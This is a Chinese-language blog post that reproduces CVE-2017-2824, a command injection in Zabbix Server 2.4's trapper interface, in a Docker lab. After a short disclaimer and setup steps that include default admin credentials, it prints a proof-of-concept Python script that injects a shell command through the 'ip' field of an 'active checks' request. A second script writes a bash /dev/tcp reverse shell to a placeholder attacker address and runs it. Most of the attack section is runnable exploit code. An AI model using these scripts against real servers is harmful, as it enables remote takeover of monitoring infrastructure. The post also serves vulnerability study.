当前位置:网站首页>Zabbix Server trapper 命令注入漏洞 (CVE-2017-2824)
Zabbix Server trapper 命令注入漏洞 (CVE-2017-2824)
2022-07-02 05:56:00 【h领小白帽】
声明
本篇文章仅用于技术学习与漏洞复现,切勿用于非授权下的渗透测试行为,切记!
一、漏洞简介
Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。其Server端 trapper command 功能存在一处代码执行漏洞,特定的数据包可造成命令注入,进而远程执行代码。攻击者可以从一个Zabbix proxy发起请求,从而触发漏洞。
二、影响范围
Zabbix Server 2.4.X 版本
三、环境搭建
Vulfocus:docker pull vulfocus/zabbix-cve_2017_2824:latest
查看本地镜像并运行漏洞环境
docker images
docker run -d -P vulfocus/zabbix-cve_2017_2824
-d:将镜像挂起后台运行
-P:将镜像需要开启的端口随机映射到这台服务器的公网IP端口上
访问ip:port成功搭建,使用默认管理员账号密码进入后台
用户名:admin
密码:Zabbix
接着 在Configuration
的选项卡里进入Actions
下把Event source选中Auto registration
,点击Create action
,以管理员的身份去开启自动注册功能
操作完成之后就开启了自动注册功能。
四、本地实战
POC测试
利用链接:https://github.com/listenquiet/cve-2017-2824-reverse-shell
import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
使用 ls /tmp
命令查看是否执行成功
反弹Shell
Exp如下:
import sys
import socket
import json
from time import sleep
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
# target = "X.X.X.X"
target = sys.argv[1]
num = 1
exps = [';echo -n "/bin/bash" > /tmp/1.sh', ';echo -n " -i >& " >> /tmp/1.sh', ';echo -n "/dev/tcp/" >> /tmp/1.sh',
';echo -n "X.X." >> /tmp/1.sh', ';echo -n "X.X/" >> /tmp/1.sh', ';echo -n "1234 0>&1" >> /tmp/1.sh',
';/bin/bash /tmp/1.sh']
for exp in exps:
host = "vulhub" + str(num)
print(host)
print(send(target, {"request": "active checks", "host": host, "ip": exp}))
sleep(1)
num += 1
for i in range(10000, 10500):
data = send(target, {"request": "command", "scriptid": 1, "hostid": str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
执行:python3 exp.py X.X.X.X
可以看到已经反弹Shell
攻击完成!!!
边栏推荐
- How vite is compatible with lower version browsers
- Technologists talk about open source: This is not just using love to generate electricity
- Some experience of exercise and fitness
- Redis Key-Value数据库 【秒杀】
- CNN可视化技术 -- CAM & Grad-CAM详解及pytorch简洁实现
- Several keywords in C language
- Minimum value ruler method for the length of continuous subsequences whose sum is not less than s
- 1035 Password
- Go learning notes integration
- External interrupts cannot be accessed. Just delete the code and restore it Record this unexpected bug
猜你喜欢
Conglin environmental protection rushes to the scientific and Technological Innovation Board: it plans to raise 2billion yuan, with an annual profit of more than 200million yuan
500. 键盘行
Gcnet: non - local Networks meet Squeeze excitation Networks and Beyond
MySQL transaction and isolation level
memcached安装
Summary of MySQL constraints
Redis Key-Value数据库【初级】
Regular expression summary
ES6的详细注解
keepalived安装使用与快速入门
随机推荐
Summary of MySQL constraints
[C language] simple implementation of mine sweeping game
PHP read file (read JSON file, convert to array)
1035 Password
Fundamentals of software testing
Minimum value ruler method for the length of continuous subsequences whose sum is not less than s
Huawei Hongmeng OS, is it OK?
Keepalived installation, use and quick start
Spark概述
神机百炼3.52-Prim
JS determines whether the mobile terminal or the PC terminal
Stc8h8k series assembly and C51 actual combat - serial port sending menu interface to select different functions
PHP obtains some values in the string according to the specified characters, and reorganizes the remaining strings into a new array
格式校验js
如何写出好代码 — 防御式编程指南
RGB 无限立方体(高级版)
MUI底部导航的样式修改
Linkage between esp8266 and stc8h8k single chip microcomputer - Weather Clock
Cube magique infini "simple"
51单片机——ADC讲解(A/D转换、D/A转换)